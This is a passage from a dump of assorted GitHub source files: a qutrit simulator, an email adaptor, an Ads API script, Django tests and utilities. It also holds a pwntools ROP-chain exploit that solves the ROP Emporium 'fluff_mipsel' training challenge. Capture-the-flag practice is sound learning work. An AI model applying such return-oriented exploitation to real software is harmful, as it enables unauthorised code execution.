+ prob1:\n state = 1\n prob = prob1\n else:\n state = 2\n prob = prob2\n for i in range(3**(self.n - 1)):\n x = insert(i, qutrit, state)\n y = insert(i, qutrit, (state+1)%3)\n z = insert(i, qutrit, (state+2)%3)\n self.sv[x] *= 1/math.sqrt(prob)\n self.sv[y] = 0 + 0j\n self.sv[z] = 0 + 0j\n return state\n\n def print_state(self):\n print(\"State\")\n print(\"-----\")\n for i in range(3**self.n):\n print(f\"{tri(i, self.n)}: {self.sv[i]}\")\n print(\"-----\")\n\n def print_probs(self):\n print(\"Probabilities\")\n print(\"-------------\")\n for i in range(3**self.n):\n prob = self.sv[i] * self.sv[i].conjugate()\n print(f\"{tri(i, self.n)}: {prob.real}\")\n print(\"-------------\")\n\n def permute(self, qutrit, vec):\n '''Given a permutation vector swap the probability amplitudes of the states\n |0>, |1>, and |2>. For example if vec is [1, 2, 0] and the qutrit's initial state\n is alpha|0> + beta|1> + gamma|2> then the resulting state will be\n beta|0> + gamma|1> + alpha|2>'''\n matrix = permutation_matrix(vec)\n self.single_qutrit_gate(qutrit, matrix)\n\n def rx(self, qutrit, theta):\n '''Perform a rotation in the 3D space spanned by |0>, |1>, and |2>.\n Axis of rotation is the |0> axis. This is not a rotation on a Bloch spehere.\n\n Matrix:\n\n 1 0 0\n 0 cos(theta) -sin(theta)\n 0 sin(theta) cos(theta)\n '''\n matrix = [\n [1, 0, 0],\n [0, math.cos(theta), -math.sin(theta)],\n [0, math.sin(theta), math.cos(theta)]\n ]\n self.single_qutrit_gate(qutrit, matrix)\n\n def ry(self, qutrit, theta):\n '''Perform a rotation in the 3D space spanned by |0>, |1>, and |2>.\n Axis of rotation is the |1> axis. This is not a rotation on a Bloch spehere.\n\n Matrix:\n\n cos(theta) 0 sin(theta)\n 0 1 0\n -sin(theta) 0 cos(theta)\n '''\n matrix = [\n [math.cos(theta), 0, math.sin(theta)],\n [0, 1, 0],\n [-math.sin(theta), 0, math.cos(theta)]\n ]\n self.single_qutrit_gate(qutrit, matrix)\n\n def rz(self, qutrit, theta):\n '''Perform a rotation in the 3D space spanned by |0>, |1>, and |2>.\n Axis of rotation is the |1> axis. This is not a rotation on a Bloch spehere.\n\n Matrix:\n\n cos(theta) -sin(theta) 0\n sin(theta) cos(theta) 0\n 0 0 1\n '''\n matrix = [\n [math.cos(theta), -math.sin(theta), 0],\n [math.sin(theta), math.cos(theta), 0],\n [0, 0, 1]\n ]\n self.single_qutrit_gate(qutrit, matrix)\n\n def phase(self, qutrit, theta, phi):\n '''Introduce a relative phase of theta between |0> and |1> and a relative phase\n of phi between |0> and |2>\n '''\n matrix = [\n [1, 0, 0],\n [0, math.cos(theta) + 1j*math.sin(theta), 0],\n [0, 0, math.cos(phi) + 1j*math.sin(phi)]\n ]\n self.single_qutrit_gate(qutrit, matrix)\n\n def cpermute(self, q0, q1, pv0, pv1, pv2):\n '''Controlled permute - perform a permutation using one of pv1, pv2, pv3 as the\n permutation vector. If the qubit is in state |0> use pv0, |1> use pv1, and |2>\n use pv2'''\n pm0 = permutation_matrix(pv0)\n pm1 = permutation_matrix(pv1)\n pm2 = permutation_matrix(pv2)\n matrix = [[0 for j in range(9)] for i in range(9)]\n for i in range(3):\n for j in range(3):\n matrix[i][j] = pm0[i][j]\n matrix[i+3][j+3] = pm1[i][j]\n matrix[i+6][j+6] = pm2[i][j]\n self.two_qutrit_gate(q0, q1, matrix)\n\n","repo_name":"NIR7cd/nirsvs-python","sub_path":"trinary.py","file_name":"trinary.py","file_ext":"py","file_size_in_byte":7391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"30525854373","text":"from libs import trycourier\nimport os\n\nclient = trycourier.Courier(auth_token=os.environ.get('COURIER_API_AUTH_TOKEN'))\n\ndef send_mail(to_email, name, title, body):\n\n client.send_message(\n message={\n \"to\": {\n \"email\": to_email,\n },\n \"content\": {\n \"title\": title,\n \"body\": body,\n },\n \"data\": {\n \"name\": name,\n },\n \"routing\": {\n \"method\": \"single\",\n \"channels\": [\"email\"],\n },\n }\n )\n\n__all__ = [\n \"send_mail\"\n]","repo_name":"abdullahjamal1/appointment-booking-serverless","sub_path":"backend/shared/courier/python/courier_adaptor.py","file_name":"courier_adaptor.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"10014026140","text":"import networkx as nx\nfrom collections import deque, namedtuple\n\nimport utils as u\n\nBOSS_HP = 55\nBOSS_DAMAGE = 8\n\nV = \"VICTORY\"\nD = \"DEFEAT\"\n\nmy_input = \"\"\"Hit Points: 55\nDamage: 8\"\"\"\n\nSituation = namedtuple(\n \"Situation\",\n \"player_turn spent_mp boss_hp player_hp player_mp shield_timer poison_timer recharge_timer cast_spells\",\n)\n\n\ndef find_neighbor_situations(situation: Situation):\n # 0. Check victory/defeat\n if situation.boss_hp <= 0:\n return []\n if situation.player_hp <= 0:\n return []\n\n # 1. apply effects\n boss_hp = situation.boss_hp\n player_hp = situation.player_hp\n if situation.player_turn:\n player_hp -= 1\n if situation.player_hp <= 0:\n return []\n player_mp = situation.player_mp\n player_armor = 0\n if situation.poison_timer > 0:\n boss_hp -= 3\n if situation.shield_timer > 0:\n player_armor = 7\n if situation.recharge_timer > 0:\n player_mp += 101\n\n if player_mp < 53: # if the player cannot cast any spell, they lose\n return []\n if boss_hp <= 0: # if the boss is dead by poison, it's a victory\n return []\n\n # prepare timers for next turn\n next_timers = (\n max(0, situation.shield_timer - 1),\n max(0, situation.poison_timer - 1),\n max(0, situation.recharge_timer - 1),\n )\n\n # 2.a Player turn\n if situation.player_turn and player_mp >= 53:\n # Magic Missile : costs 53 mana, does 4 damage instantly\n if player_mp >= 53:\n yield Situation(\n False,\n situation.spent_mp + 53,\n boss_hp - 4,\n player_hp,\n player_mp - 53,\n *next_timers,\n situation.cast_spells + \" missile\",\n )\n\n # Drain : costs 73 mana. Instantly does 2 damage and heals player 2 HP\n if player_mp >= 73:\n yield Situation(\n False,\n situation.spent_mp + 73,\n boss_hp - 2,\n player_hp + 2,\n player_mp - 73,\n *next_timers,\n situation.cast_spells + \" drain\",\n )\n\n # Shield : costs 113 mana, starts \"shield\" effect for 6 turns\n if player_mp >= 113 and situation.shield_timer == 0:\n yield Situation(\n False,\n situation.spent_mp + 113,\n boss_hp,\n player_hp,\n player_mp - 113,\n 6,\n *next_timers[1:],\n situation.cast_spells + \" shield\",\n )\n\n # Poison : 173 mana, starts \"poison\" effect for 6 turns\n if player_mp >= 173 and situation.poison_timer == 0:\n yield Situation(\n False,\n situation.spent_mp + 173,\n situation.boss_hp,\n player_hp,\n player_mp - 173,\n next_timers[0],\n 6,\n next_timers[2],\n situation.cast_spells + \" poison\",\n )\n\n # Recharge : 229 mana, starts \"recharge\" effect for 5 turns\n if player_mp >= 229 and situation.recharge_timer == 0:\n yield Situation(\n False,\n situation.spent_mp + 229,\n situation.boss_hp,\n player_hp,\n player_mp - 229,\n *next_timers[:-1],\n 5,\n situation.cast_spells + \" recharge\",\n )\n\n # 2.b. Boss’ turn\n if boss_hp > 0 and not situation.player_turn:\n damage = max(1, BOSS_DAMAGE - player_armor)\n yield Situation(\n True,\n situation.spent_mp,\n boss_hp,\n player_hp - damage,\n player_mp,\n *next_timers,\n situation.cast_spells + \" •\",\n )\n\n\ndef debug_situation(s: Situation):\n if type(s) == str:\n print(s)\n return\n\n print(f\"😈{s.boss_hp} 🧙‍{s.player_hp} 📘{s.player_mp} \", end=\"\")\n if s.shield_timer > 0:\n print(f\"🛡 {s.shield_timer} \", end=\"\")\n if s.poison_timer > 0:\n print(f\"🐍{s.poison_timer} \", end=\"\")\n if s.recharge_timer > 0:\n print(f\"✨{s.recharge_timer} \", end=\"\")\n print(\"\")\n\n\ndef is_victory(s: Situation):\n # 0. Check victory/defeat\n if situation.boss_hp <= 0:\n return V\n if situation.player_turn and situation.player_hp <= 1:\n return D\n if not situation.player_turn and situation.player_hp <= 0:\n return D\n\n # 1. apply effects\n boss_hp = situation.boss_hp\n player_mp = situation.player_mp\n if situation.poison_timer > 0:\n boss_hp -= 3\n if boss_hp <= 0: # if the boss is dead by poison, it's a victory\n return V\n\n if situation.recharge_timer > 0:\n player_mp += 101\n if player_mp < 53: # if the player cannot cast any spell, they lose\n return D\n\n\n# Part 2 ---------------------------------------------------\n\ninitial_situation = Situation(True, 0, 55, 50, 500, 0, 0, 0, \"\")\n\ntodo_list = deque()\ntodo_list.append(initial_situation)\nprint(f\"{len(todo_list)} in todo list\")\ncheapest_victory_cost = 999999\n\nfor i in range(5555555):\n try:\n situation = todo_list.pop()\n except IndexError:\n print(f\"todo list is empty at iteration {i}\")\n break\n if situation.spent_mp > cheapest_victory_cost:\n continue\n if is_victory(situation) == V:\n if situation.spent_mp < cheapest_victory_cost:\n print(situation.cast_spells)\n cheapest_victory_cost = situation.spent_mp\n print(f\"cheapest victory cost: {cheapest_victory_cost}\")\n print(\"---------\")\n continue\n elif is_victory == D:\n continue\n for next_situation in find_neighbor_situations(situation):\n todo_list.append(next_situation)\n\nu.assert_equals(cheapest_victory_cost, 1289) # cf pompage.py\n\nu.answer_part_2(cheapest_victory_cost)\n# 1408 too high 296455 iterations\n# 1295 too high 4563918 iterations, I keep finding this one\n# 847 too low 2980515 iterations\n# 900 WRONG 4230201 iterations\n# 1295:\n# recharge • poison • shield • missile • missile • recharge • poison • shield • missile • missile • missile\n# 1289:\n# Poison -> Magic Missile -> Recharge -> Poison -> Shield -> Recharge -> Poison -> Drain -> Drain\n","repo_name":"tut-tuuut/advent-of-code-shiny-giggle","sub_path":"2015/22/code_part2.py","file_name":"code_part2.py","file_ext":"py","file_size_in_byte":6374,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"} +{"seq_id":"853249967","text":"from PyQt5.QtCore import QObject, pyqtSignal\nfrom queue import Queue\nimport json, os,time\nfrom threading import Thread\nimport pandas as pd\nfrom zeep import Client\n\nfrom googleads import adwords\n\ngoogle_yaml = os.path.dirname(__file__).replace('utils', 'Authentication') + \"/\"\n# Initialize the AdWords client.\nadwords_client = adwords.AdWordsClient.LoadFromStorage(google_yaml + \"googleads.yaml\")\ntargeting_idea_service = adwords_client.GetService('TargetingIdeaService', version='v201809')\n\n\ndataFolder=os.path.dirname(__file__).replace('utils','Data')+'/'\n\n\nif not os.path.isdir(dataFolder):\n os.mkdir(dataFolder)\n\n\nclass GetStats(QObject):\n\n downloadFinished = pyqtSignal()\n\n def __init__(self):\n super(GetStats,self).__init__()\n self.keywordQueue = Queue()\n self.keywords=[]\n self.progress=True\n self.currentDownloaded=None\n\n\n def setKeywords(self,wordObject):\n self.keywords=wordObject\n file_names = os.listdir(dataFolder)\n for obj in self.keywords:\n t=0\n for j in file_names:\n fileName=j.split(\"_\")[0]\n if obj not in fileName:\n t+=1\n if t>=len(file_names) or len(file_names)==0:\n self.keywordQueue.put(obj)\n\n self.getData()\n\n def getData(self):\n for i in range(5):\n t = Thread(target=getInfoWorker, args=(self.keywordQueue,self.downloadFinished))\n t.start()\n\n self.keywordQueue.join()\n\ndef getInfoWorker(queue,signal):\n \"\"\"\n Running and emptiing queue\n\n :param queue: the queue\n :param signal: the signal\n :return:\n \"\"\"\n\n while not queue.empty():\n\n wordObj=queue.get()\n wordData=getWordData(wordObj)\n queue.task_done()\n\n signal.emit()\n\n\ndef getWordData(keyWord):\n \"\"\"\n download the google stat of a word from Adwords\n\n :param keyWord: key word\n :return: dictionary of a word stat from google adwords\n\n \"\"\"\n dataDict={}\n dataDictMonth={}\n\n selector = {\n 'ideaType': 'KEYWORD',\n 'requestType': 'STATS',\n }\n\n selector['requestedAttributeTypes'] = [\n 'KEYWORD_TEXT', 'SEARCH_VOLUME', 'COMPETITION', 'AVERAGE_CPC', 'TARGETED_MONTHLY_SEARCHES']\n\n offset = 0\n PAGE_SIZE = 100\n selector['paging'] = {\n 'startIndex': str(offset),\n 'numberResults': str(PAGE_SIZE)\n }\n\n selector['searchParameters'] = [{\n 'xsi_type': 'RelatedToQuerySearchParameter',\n 'queries': [keyWord]}\n , {'xsi_type': 'LocationSearchParameter', 'locations': {'id': 20415}}\n , {'xsi_type': 'LanguageSearchParameter', 'languages': {'id': 1024}}\n ]\n # időkeret felállításának nézz utánaSS\n try:\n page = targeting_idea_service.get(selector)\n\n\n for result in page['entries']:\n attributes = {}\n for attribute in result['data']:\n attributes[attribute['key']] = getattr(\n attribute['value'], 'value', '0')\n\n dataDict['KeyWord']=attributes['KEYWORD_TEXT'],\n dataDict['Search Volume'] =attributes['SEARCH_VOLUME'],\n dataDict['CMP'] =attributes['COMPETITION'],\n dataDict['CPC'] =attributes['AVERAGE_CPC']['microAmount'] / 1000000,\n dataDictMonth['Monthly Research']=attributes['TARGETED_MONTHLY_SEARCHES']\n\n # print('Keyword: \"%s\" \\n average monthly search volume '\n # '\"%s\" \\n '\n # 'Competition: %s \\n '\n # 'Average CPC: %s \\n '\n # 'Monthly Average Search: %s'\n # % (attributes['KEYWORD_TEXT'],\n # attributes['SEARCH_VOLUME'],\n # attributes['COMPETITION'],\n # attributes['AVERAGE_CPC']['microAmount'] / 1000000\n # ,attributes['TARGETED_MONTHLY_SEARCHES']\n # ))\n\n saveData(dataDict,dataDictMonth,keyWord)\n\n return dataDict\n except:\n return None\n\ndef saveData(data,dataDictMonth, keyWord):\n \"\"\"\n save the dictionary generated by getWordData into a JSON file\n :param data: dataDict of getWordData\n :param keyWord: a keyword from the table wordlist\n :return: saved JSON file for a keyword\n \"\"\"\n if data:\n with open(dataFolder + keyWord + \"_data.json\", \"w\",encoding='utf-8') as dataFile:\n json.dump(data, dataFile,ensure_ascii=False)\n print(\"saving data for\", keyWord)\n\n if dataDictMonth:\n dict={}\n df = pd.DataFrame()\n for i in dataDictMonth['Monthly Research']:\n dict['year']=i['year']\n dict['month']=i['month']\n dict['count']=i['count']\n jsonDf=pd.DataFrame(dict,index=[0])\n df=df.append(jsonDf, ignore_index=True)\n\n df.to_csv(dataFolder + keyWord + \"_dataMonthly.csv\",index=False)\n print(\"saving dataMonthly for\", keyWord)\n\n\ndef delData(folder_path):\n \"\"\"\n :param folder_path: path of the json files of the DATA directory.\n \"\"\"\n\n files=[ f for f in os.listdir(folder_path) ]\n\n\n for file in files:\n #print(file)\n os.remove(folder_path + file)\n\n","repo_name":"stnorbi/SEO-Optimizer","sub_path":"utils/API.py","file_name":"API.py","file_ext":"py","file_size_in_byte":5190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"28883800358","text":"\"\"\"\nTests for the learning assistant views.\n\"\"\"\nimport json\nimport sys\nfrom importlib import import_module\nfrom unittest.mock import MagicMock, patch\n\nfrom django.conf import settings\nfrom django.contrib.auth import get_user_model, login\nfrom django.http import HttpRequest\nfrom django.test import TestCase\nfrom django.test.client import Client\nfrom django.urls import reverse\n\nfrom learning_assistant.models import CoursePrompt\n\nUser = get_user_model()\n\n\nclass TestClient(Client):\n \"\"\"\n Allows for 'fake logins' of a user so we don't need to expose a 'login' HTTP endpoint.\n \"\"\"\n def login_user(self, user):\n \"\"\"\n Login as specified user.\n\n This is based on Client.login() with a small hack that does not\n require the call to authenticate().\n \"\"\"\n user.backend = \"django.contrib.auth.backends.ModelBackend\"\n engine = import_module(settings.SESSION_ENGINE)\n\n # Create a fake request to store login details.\n request = HttpRequest()\n\n request.session = engine.SessionStore()\n login(request, user)\n\n # Set the cookie to represent the session.\n session_cookie = settings.SESSION_COOKIE_NAME\n self.cookies[session_cookie] = request.session.session_key\n cookie_data = {\n 'max-age': None,\n 'path': '/',\n 'domain': settings.SESSION_COOKIE_DOMAIN,\n 'secure': settings.SESSION_COOKIE_SECURE or None,\n 'expires': None,\n }\n self.cookies[session_cookie].update(cookie_data)\n\n # Save the session values.\n request.session.save()\n\n\nclass LoggedInTestCase(TestCase):\n \"\"\"\n Base TestCase class for all view tests.\n \"\"\"\n\n def setUp(self):\n \"\"\"\n Setup for tests.\n \"\"\"\n super().setUp()\n self.client = TestClient()\n self.user = User(username='tester', email='tester@test.com')\n self.user.save()\n self.client.login_user(self.user)\n\n\nclass CourseChatViewTests(LoggedInTestCase):\n \"\"\"\n Test for the CourseChatView\n \"\"\"\n sys.modules['lms.djangoapps.courseware.access'] = MagicMock()\n sys.modules['lms.djangoapps.courseware.toggles'] = MagicMock()\n sys.modules['common.djangoapps.course_modes.models'] = MagicMock()\n sys.modules['common.djangoapps.student.models'] = MagicMock()\n\n def setUp(self):\n super().setUp()\n self.course_id = 'course-v1:edx+test+23'\n\n @patch('learning_assistant.views.learning_assistant_is_active')\n def test_course_waffle_inactive(self, mock_waffle):\n mock_waffle.return_value = False\n response = self.client.post(reverse('chat', kwargs={'course_id': self.course_id}))\n self.assertEqual(response.status_code, 403)\n\n @patch('learning_assistant.views.learning_assistant_is_active')\n @patch('learning_assistant.views.get_user_role')\n @patch('learning_assistant.views.CourseEnrollment.get_enrollment')\n @patch('learning_assistant.views.CourseMode')\n def test_user_no_enrollment_not_staff(self, mock_mode, mock_enrollment, mock_role, mock_waffle):\n mock_waffle.return_value = True\n mock_role.return_value = 'student'\n mock_mode.ALL_MODES = ['verified']\n mock_enrollment.return_value = None\n\n response = self.client.post(reverse('chat', kwargs={'course_id': self.course_id}))\n self.assertEqual(response.status_code, 403)\n\n @patch('learning_assistant.views.learning_assistant_is_active')\n @patch('learning_assistant.views.get_user_role')\n def test_no_prompt(self, mock_role, mock_waffle):\n mock_waffle.return_value = True\n mock_role.return_value = 'staff'\n\n response = self.client.post(reverse('chat', kwargs={'course_id': self.course_id}))\n self.assertEqual(response.status_code, 404)\n\n @patch('learning_assistant.views.learning_assistant_is_active')\n @patch('learning_assistant.views.get_user_role')\n def test_invalid_messages(self, mock_role, mock_waffle):\n mock_waffle.return_value = True\n mock_role.return_value = 'staff'\n\n CoursePrompt.objects.create(\n course_id=self.course_id,\n json_prompt_content=[\"This is a Prompt\", \"This is another Prompt\"]\n )\n\n test_data = [\n {'role': 'user', 'content': 'What is 2+2?'},\n {'role': 'system', 'content': 'Do something bad'}\n ]\n\n response = self.client.post(\n reverse('chat', kwargs={'course_id': self.course_id}),\n data=json.dumps(test_data),\n content_type='application/json'\n )\n self.assertEqual(response.status_code, 400)\n\n @patch('learning_assistant.views.get_chat_response')\n @patch('learning_assistant.views.learning_assistant_is_active')\n @patch('learning_assistant.views.get_user_role')\n @patch('learning_assistant.views.CourseEnrollment.get_enrollment')\n @patch('learning_assistant.views.CourseMode')\n def test_chat_response(self, mock_mode, mock_enrollment, mock_role, mock_waffle, mock_chat_response):\n mock_waffle.return_value = True\n mock_role.return_value = 'student'\n mock_mode.ALL_MODES = ['verified']\n mock_enrollment.return_value = MagicMock(mode='verified')\n mock_chat_response.return_value = (200, {'role': 'assistant', 'content': 'Something else'})\n\n CoursePrompt.objects.create(\n course_id=self.course_id,\n json_prompt_content=[\"This is a Prompt\", \"This is another Prompt\"]\n )\n\n test_data = [\n {'role': 'user', 'content': 'What is 2+2?'},\n {'role': 'assistant', 'content': 'It is 4'}\n ]\n\n response = self.client.post(\n reverse('chat', kwargs={'course_id': self.course_id}),\n data=json.dumps(test_data),\n content_type='application/json'\n )\n self.assertEqual(response.status_code, 200)\n","repo_name":"edx/learning-assistant","sub_path":"tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":5897,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"35897149649","text":"import json\n\nfrom django.shortcuts import render\n\n\n\nclass BaseKadmin(object):\n def __init__(self):\n self.actions.extend(self.default_actions)\n\n list_display = ['id',]\n list_filter = []\n search_fields = []\n list_editable = []\n readonly_fields = []\n filter_horizontal = []\n list_per_page = 5\n default_actions = ['delete_selected_objs',]\n actions = []\n\n def delete_selected_objs(self, request, querysets):\n querysets_ids = json.dumps([i.id for i in querysets])\n return render(request, 'table_object_delete.html', {'admin_class': self,\n 'objs': querysets,\n 'querysets_ids': querysets_ids\n })","repo_name":"luckygogreen/PerfectCRM","sub_path":"kadmin/kadmin_base.py","file_name":"kadmin_base.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"73202035941","text":"# Carregar as bibliotecas DesignScript e padrão do Python\nimport sys\nimport clr\nclr.AddReference('ProtoGeometry')\nfrom Autodesk.DesignScript.Geometry import *\nimport math as mt\n\n# ENTRADAS #\n#Geométricos\nbw = IN[0] # Dimensão Base do pilar (m)\nh = IN[1] # Dimensão Altura do pilar (m)\nc = IN[2]/100.0 # Cobrimento do concreto (m)\nl = IN[3] # Comprimento da Viga (m)\n# Armadura\ndlong = IN[4]/1000.0 # Diâmetro da Armadura (m)\ndest = IN[5]/1000.0 # Diâmetro do Estribo (m)\n#Materiais\nfck = IN[6] # fck em (MPa)\nfyk = IN[7] # fyk em (MPa)\nfctm = 0.3*fck**(2.0/3.0) #(MPa)\ndagreg = IN[8]/1000.0 # Diâmetro máximo do Agregado (m)\n#Cargas\ng = IN[9] #(kNm)\nq = IN[10] #(kNm)\n#Lista do'calculo da seção'\nd = IN[11][1][4] # (m)\nnbar = len(IN[11][1][0]) # Numero de barras da positiva\n# Saber qual seção coom barra externa mais próxima a LN\nlista = [abs(-IN[11][0][4]*IN[11][0][3]+IN[11][0][1][-1]+h/2), abs(-IN[11][1][4]*IN[11][1][3]-IN[11][1][1][-1]+h/2), abs(-IN[11][2][4]*IN[11][2][3]+IN[11][2][1][-1]+h/2)]\nminlist = min(lista)\nfor i in range(3):\n\tif minlist == lista[i]:\n\t\tbreak\nah = abs(IN[11][i][0][-1]-IN[11][i][0][-2]) #Esta na Lista i a barra\n\n# ABERTURA CARACTERISTICA DE FISSURA\n\nssi = fyk/(1.4*1.15)*(g+0.4*q)/(g+q) #(MPa)\naa = c + dest + dlong*1.04/2 # (m)\nb = ah/2 # (m)\nif IN[11][i][1][-1] == h/2-aa or IN[11][i][1][-1] == -h/2+aa : # Se tiver só uma camada c é aa\n\tav = aa\n\tc = av\nelse:\n\tav = max(0.02,dlong*1.04,0.5*dagreg) # Espaçamento entre as barras vertical (m)\n\tc = av/2 # (m)\ndd = 7.5*dlong # (m)\nAcri = (aa+b)*(c+dd) # (m²)\nAs = 3.1415*dlong**2/4 # (m²)\nrcri = As/Acri # S/U\n\nwk1 = dlong/(12.5*2.25)*ssi/210000*(3*ssi/fctm) # (m)\nwk2 = dlong/(12.5*2.25)*ssi/210000*(4/rcri+45) # (m)\nwk = min(wk1,wk2) # (m)\n\n# DEFORMAÇÃO EXCESSIVA IMEDIATA\n\nP = g+0.3*q # Combinação quase permanente (kNm)\nIc = bw*h**3/12 #(m^4)\nEcs = min((0.8+0.2*fck/80),1)*5600*(fck)**(0.5) # (MPa)\nalpe = 210000/Ecs # S/U\na1 = bw/2 # (m)\na2 = alpe*nbar*As # (m²)\na3 = -d*a2 # (m³)\nxii = (-a2+(a2**2-4*a1*a3)**(0.5))/(2*a1) # (m)\nIii = bw*xii**3/12+alpe*nbar*As*(xii-d)**2 # (m^4)\nMr = 1.5*fctm*1000*Ic/(h/2) # (kNm)\nMa = (P*l**2)/8 # (kNm)\nIm = (Mr/Ma)**3*Ic+(1-(Mr/Ma)**3)*Iii # (m^4)\n\na = 5*P*l**4/(384*Im*Ecs)/1000 # (m)\n\n# DEFORMAÇÃO EXCESSIVA DEFERIDA NO TEMPO\n\nat = a*(2.39505)\n\nOUT = wk, a, at","repo_name":"EngMateusCardoso/USO_DO_PROJETO_GENERATIVO_COMO_FERRAMENTA_DE_BUSCA_DE_SOLUCOES_DE_PROJETO","sub_path":"Código/Python/VerificacaodoELS.py","file_name":"VerificacaodoELS.py","file_ext":"py","file_size_in_byte":2313,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"28856165996","text":"from pwn import *\n\ncontext(arch=\"mips\",endian=\"little\")\n\nelf = ELF(\"fluff_mipsel\")\n\n#p = gdb.debug(elf.path,'''\n# break *pwnme + 300\n# continue\n#''')\np = process(elf.path)\n\n\nprint_file_plt = 0x400af0\ngadgets2 = 0x400930 # lw $t9, 8($sp) ; lw $t4, 4($sp) ; xor $s1, $s1, $s1 ; lui $a0, 0x41 ; ori $a0, $a0, 0x2c70 ; jalr $t9 ; addi $sp, $sp, 0xc\ngadgets3 = 0x40094c # lw $t9, 8($sp) ; lw $s2, 4($sp) ; lui $t4, 0x41 ; ori $t4, $t4, 0x2c74 ; jalr $t9 ; addi $sp, $sp, 0xc\ngadgets4 = 0x400964 # lw $t9, 4($sp) ; xor $s1, $s1, $s2 ; lui $a1, 0x41 ; ori $a1, $a1, 0x1500 ; jalr $t9 ; addi $sp, $sp, 8\ngadgets5 = 0x40097c # lw $t9, 4($sp) ; xor $s0, $s0, $s1 ; xor $s1, $s0, $s1 ; xor $s0, $s0, $s1 ; lui $t5, 0x41 ; ori $t5, $t5, 0x1504 ; jalr $t9 ; addi $sp, $sp, 8 ## s0:=s1\nneed_s0_s1 = 0x0040099c# lw $t9, 4($sp) ; sw $s1, ($s0) ; jalr $t9 ; addi $sp, $sp, 8\ngadgets6 = 0x4009ac # lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; addi $sp, $sp, 0xc\n\nnonexistent_data = 0x400b70\nwrite_addr = 0x411000\n\np.recvuntil(\"> \")\n\nbuf = b'A' * 36\nbuf += p32(gadgets3) # s2 <- write_addr\nbuf += b'S' * 4\nbuf += p32(write_addr)\nbuf += p32(gadgets2) # s1 <- 0\nbuf += b'S' * 4\nbuf += b'B'*4 # t4 \nbuf += p32(gadgets4) # xor s1,s1,s2\nbuf += b'S' * 4\nbuf += p32(gadgets5) # xor s0=s1\nbuf += b'S' * 4\nbuf += p32(gadgets3) # s2 <- 'flag'\nbuf += b'S' * 4\nbuf += b'flag'\nbuf += p32(gadgets2) # s1 <- 0\nbuf += b'S' * 4\nbuf += b'B'*4 # t4 \nbuf += p32(gadgets4) # xor s1,s1,s2\nbuf += b'S' * 4\nbuf += p32(need_s0_s1)\nbuf += b'S' * 4\n\nbuf += p32(gadgets3) # s2 <- write_addr + 4\nbuf += b'S' * 4\nbuf += p32(write_addr+4)\nbuf += p32(gadgets2) # s1 <- 0\nbuf += b'S' * 4\nbuf += b'B'*4 # t4 \nbuf += p32(gadgets4) # xor s1,s1,s2\nbuf += b'S' * 4\nbuf += p32(gadgets5) # xor s0=s1\nbuf += b'S' * 4\nbuf += p32(gadgets3) # s2 <- '.txt'\nbuf += b'S' * 4\nbuf += b'.txt'\nbuf += p32(gadgets2) # s1 <- 0\nbuf += b'S' * 4\nbuf += b'B'*4 # t4 \nbuf += p32(gadgets4) # xor s1,s1,s2\nbuf += b'S' * 4\nbuf += p32(need_s0_s1)\nbuf += b'S' * 4\n\nbuf += p32(gadgets6) # a0 <- write_addr && jmp print_file\nbuf += b'S' * 4\nbuf += p32(print_file_plt)\nbuf += p32(write_addr)\n\n\n\n\np.send(buf)\np.interactive()\n","repo_name":"pr0xy-t/pwn_writeups","sub_path":"rop_emporium_all_challenges/fluff_mipsel/exploit.py","file_name":"exploit.py","file_ext":"py","file_size_in_byte":2155,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"} +{"seq_id":"27360534064","text":"import os, sys\nfrom datetime import datetime\n\ndef openDir(targetdir):\n\t#open directory when done\t\n\trpath = os.path.realpath(targetdir)\n\tos.startfile(rpath)\n\n\n\t\ndef readTextFile(filepath):\n\ttry:\n\t ofile = open(filepath, 'r', encoding = 'utf-8') \n\t data = ofile.read()\n\t return data\n\texcept FileNotFoundError:\n\t print(\"file not found\") \n\texcept Exception as e:\n\t print(e) \n\n\ndef getRawPath(dirOut):\n\tFILNAME_OUT = \"Custom_Dictionary.txt\"\n\t#temp_path = pathIn\n\t#temp_path = os.path.basename(temp_path)\n\t#fname, fext = os.path.splitext(temp_path)\n\t#pathOut = os.path.join(dirOut, fname + JSON_EXTENSION) \n\tpathOut = os.path.join(dirOut, FILNAME_OUT) \n\treturn(pathOut)\n\ndef getOutPath(dirOut):\n\tnow = datetime.now()\n\tdateTime = now.strftime(\"%Y%m%d_%H%M\")\n\tfileName = \"Normal_Case_Dictionary_\" + dateTime + \".txt\"\n\tpathOut = os.path.join(dirOut, fileName ) \n\treturn(pathOut)\n\n\ndef getWordFromTextFile(filepath):\n try:\n ofile = open(filepath, 'r', encoding = 'utf-8') \n data = ofile.read()\n words = data.split()\n return words\n\n except FileNotFoundError:\n print(\"file not found\") \n except Exception as e:\n print(e) \n \n\ndef writeListToFile(vlist, vpath):\n with open(vpath, 'w', encoding ='utf-8') as file:\n for item in vlist: \n file.write(item + \"\\n\")\n\n\n\ndef openExclusionList():\n\tFILE_NAME = 'exclusion.txt'\n\ttry:\n\t fh = open(FILE_NAME, 'r', encoding ='utf-8')\n\t # Store configuration file values\n\t data = fh.read()\n\t fh.close() \n\t mylist = data.split('\\n')\n\t return mylist \n\t \n\texcept FileNotFoundError:\n\t\tprint('file not found')\n\t\treturn None\n\ndef fileToList(filepath):\n try:\n ofile = open(filepath, 'r', encoding = 'utf-8') \n data = ofile.read()\n words = data.split()\n return words\n except FileNotFoundError:\n print(\"file not found\") \n except Exception as e:\n print(e) \n\ndef loadDictionaries(dirDic):\n\tdicFiles = os.listdir(dirDic)\n\tbigDic = []\n\tfor fp in dicFiles:\n\t\tbigDic += fileToList(os.path.join(dirDic, fp))\n\n\tdicData = list(dict.fromkeys(bigDic))\n\tdicData.sort()\n\treturn 